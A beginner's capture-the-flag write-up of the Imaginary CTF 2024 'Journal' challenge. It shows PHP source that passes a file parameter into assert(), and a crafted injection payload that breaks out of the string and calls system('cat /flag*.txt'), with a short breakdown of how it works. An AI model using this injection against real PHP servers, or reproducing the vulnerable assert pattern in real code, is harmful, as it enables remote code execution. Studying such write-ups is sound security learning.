Journal - Imaginary CTF 2024
This is my first writeup regarding a ctf challenge.
PHP Source Code
This was the source code of the php server. I do not know php so I could not see the obvious vulnerability.
<?php
echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;
assert("strpos('$file', '..') === false") or die("Invalid file!");
if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}
echo "</p>";
I intially tried accessing the flag without using ..
. On hacktricks I found a few ways that could happend but none of them worked.
The RCE
Then it clicked to me, how assert is taking the code as a string and executing it and the file name is being passed to it. Googling this, I found that hacktricks has the same code as example but their payload was not working for me. So I crafted my own payload.
', '1') or die(system('cat /flag*.txt'))or strpos('
Break Down
', '1')
is to close the string and strpos function.or die(system('cat /flag*.txt'))
is to print the flag.or
is used becausestrpos
returns false and thenor
short circuits to execute the next commanddie
.or strpos('
is to prevent the (syntax iirc) error from being thrown by.
After the format string being filled the code inside the assert
function looks like this:
strpos('', '1') or die(system('cat /flag*.txt'))or strpos('e', '..') === false
Thanks to the organizers. I really enjoyed the ctf, especially this challenge.